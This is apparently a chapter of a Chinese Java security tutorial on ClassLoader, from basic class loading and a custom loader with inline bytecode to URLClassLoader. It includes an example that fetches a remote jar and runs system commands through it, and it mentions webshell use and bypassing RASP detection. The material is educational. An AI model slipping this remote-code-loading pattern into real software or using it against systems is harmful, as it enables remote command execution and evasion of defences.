ClassLoader(类加载机制)

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件，Java类初始化的时候会调用java.lang.ClassLoader加载类字节码，ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。

JVM架构图：

JVM

Java类

Java是编译型语言，我们编写的java文件需要编译成后class文件后才能够被JVM运行，学习ClassLoader之前我们先简单了解下Java类。

示例TestHelloWorld.java：

  1. package com.anbai.sec.classloader;
  3. /**
  4.  * Creator: yz
  5.  * Date: 2019/12/17
  6.  */
  7. public class TestHelloWorld {
  9.     public String hello() {
  10.         return "Hello World~";
  11.     }
  13. }

编译TestHelloWorld.java：javac TestHelloWorld.java

我们可以通过JDK自带的javap命令反汇编TestHelloWorld.class文件对应的com.anbai.sec.classloader.TestHelloWorld类，以及使用Linux自带的hexdump命令查看TestHelloWorld.class文件二进制内容：

image-20191217171821663

JVM在执行TestHelloWorld之前会先解析class二进制内容，JVM执行的其实就是如上javap命令生成的字节码(ByteCode)。

ClassLoader

一切的Java类都必须经过JVM加载后才能运行，而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器)，AppClassLoader是默认的类加载器，如果类加载时我们不指定类加载器的情况下，默认会使用AppClassLoader加载类，ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。

值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值，如:java.io.File.class.getClassLoader()将返回一个null对象，因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层，采用C++编写)，我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。

ClassLoader类有如下核心方法：

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

Java类动态加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象，而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载，我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式：

  1. // 反射加载TestHelloWorld示例
  2. Class.forName("com.anbai.sec.classloader.TestHelloWorld");
  4. // ClassLoader加载TestHelloWorld示例
  5. this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法，如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)，而ClassLoader.loadClass默认不会初始化类方法。

ClassLoader类加载流程

理解Java类加载机制并非易事，这里我们以一个Java的HelloWorld来学习ClassLoader。

ClassLoader加载com.anbai.sec.classloader.TestHelloWorld类重要流程如下：

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化，如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类，否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类，那么调用自身的findClass方法尝试加载TestHelloWorld类。
  5. 如果当前的ClassLoader没有重写了findClass方法，那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码，那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true，那么还需要调用resolveClass方法链接类,默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类，java.lang.ClassLoader有非常多的子类加载器，比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类，重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

既然已知ClassLoader具备了加载类的能力，那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例)并调用hello方法。

如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下，我们可以使用如下代码即可实现调用hello方法并输出：

  1. TestHelloWorld t = new TestHelloWorld();
  2. String str = t.hello();
  3. System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath，那么我们可以使用自定义类加载器重写findClass方法，然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类，最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码：

  1. package com.anbai.sec.classloader;
  3. import java.lang.reflect.Method;
  5. /**
  6.  * Creator: yz
  7.  * Date: 2019/12/17
  8.  */
  9. public class TestClassLoader extends ClassLoader {
  11.     // TestHelloWorld类名
  12.     private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
  14.     // TestHelloWorld类字节码
  15.     private static byte[] testClassBytes = new byte[]{
  16.             -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
  17.             16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
  18.             101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
  19.             1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
  20.             97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
  21.             101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
  22.             114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
  23.             32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
  24.             115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
  25.             116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
  26.             97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
  27.             0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
  28.             1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
  29.             0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
  30.             0, 0, 0, 2, 0, 12
  31.     };
  33.     @Override
  34.     public Class<?> findClass(String name) throws ClassNotFoundException {
  35.         // 只处理TestHelloWorld类
  36.         if (name.equals(testClassName)) {
  37.             // 调用JVM的native方法定义TestHelloWorld类
  38.             return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
  39.         }
  41.         return super.findClass(name);
  42.     }
  44.     public static void main(String[] args) {
  45.         // 创建自定义的类加载器
  46.         TestClassLoader loader = new TestClassLoader();
  48.         try {
  49.             // 使用自定义的类加载器加载TestHelloWorld类
  50.             Class testClass = loader.loadClass(testClassName);
  52.             // 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld();
  53.             Object testInstance = testClass.newInstance();
  55.             // 反射获取hello方法
  56.             Method method = testInstance.getClass().getMethod("hello");
  58.             // 反射调用hello方法,等价于 String str = t.hello();
  59.             String str = (String) method.invoke(testInstance);
  61.             System.out.println(str);
  62.         } catch (Exception e) {
  63.             e.printStackTrace();
  64.         }
  65.     }
  67. }

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象，比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测，也可以用于加密重要的Java类字节码(只能算弱加密了)。

URLClassLoader

URLClassLoader继承了ClassLoader，URLClassLoader提供了加载远程资源的能力，在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

TestURLClassLoader.java示例：

  1. import java.io.ByteArrayOutputStream;
  2. import java.io.InputStream;
  3. import java.net.URL;
  4. import java.net.URLClassLoader;
  6. /**
  7.  * Creator: yz
  8.  * Date: 2019/12/18
  9.  */
  10. public class TestURLClassLoader {
  12.     public static void main(String[] args) {
  13.         try {
  14.             // 定义远程加载的jar路径
  15.             URL url = new URL("https://javaweb.org/tools/cmd.jar");
  17.             // 创建URLClassLoader对象，并加载远程jar包
  18.             URLClassLoader ucl = new URLClassLoader(new URL[]{url});
  20.             // 定义需要执行的系统命令
  21.             String cmd = "ls";
  23.             // 通过URLClassLoader加载远程jar包中的CMD类
  24.             Class cmdClass = ucl.loadClass("CMD");
  26.             // 调用CMD类中的exec方法，等价于: Process process = CMD.exec("whoami");
  27.             Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
  29.             // 获取命令执行结果的输入流
  30.             InputStream           in   = process.getInputStream();
  31.             ByteArrayOutputStream baos = new ByteArrayOutputStream();
  32.             byte[]                b    = new byte[1024];
  33.             int                   a    = -1;
  35.             // 读取命令执行结果
  36.             while ((a = in.read(b)) != -1) {
  37.                 baos.write(b, 0, a);
  38.             }
  40.             // 输出命令执行结果
  41.             System.out.println(baos.toString());
  42.         } catch (Exception e) {
  43.             e.printStackTrace();
  44.         }
  45.     }
  47. }

远程的cmd.jar中就一个CMD.class文件，对应的编译之前的代码片段如下：

  1. import java.io.IOException;
  3. /**
  4.  * Creator: yz
  5.  * Date: 2019/12/18
  6.  */
  7. public class CMD {
  9.     public static Process exec(String cmd) throws IOException {
  10.         return Runtime.getRuntime().exec(cmd);
  11.     }
  13. }

程序执行结果如下：

  1. README.md
  2. gitbook
  3. javaweb-sec-source
  4. javaweb-sec.iml
  5. jni
  6. pom.xml

ClassLoader总结

ClassLoader是JVM中一个非常重要的组成部分，ClassLoader可以为我们加载任意的java类，通过自定义ClassLoader更能够实现自定义类加载行为，在后面的几个章节我们也将讲解ClassLoader的实际利用场景。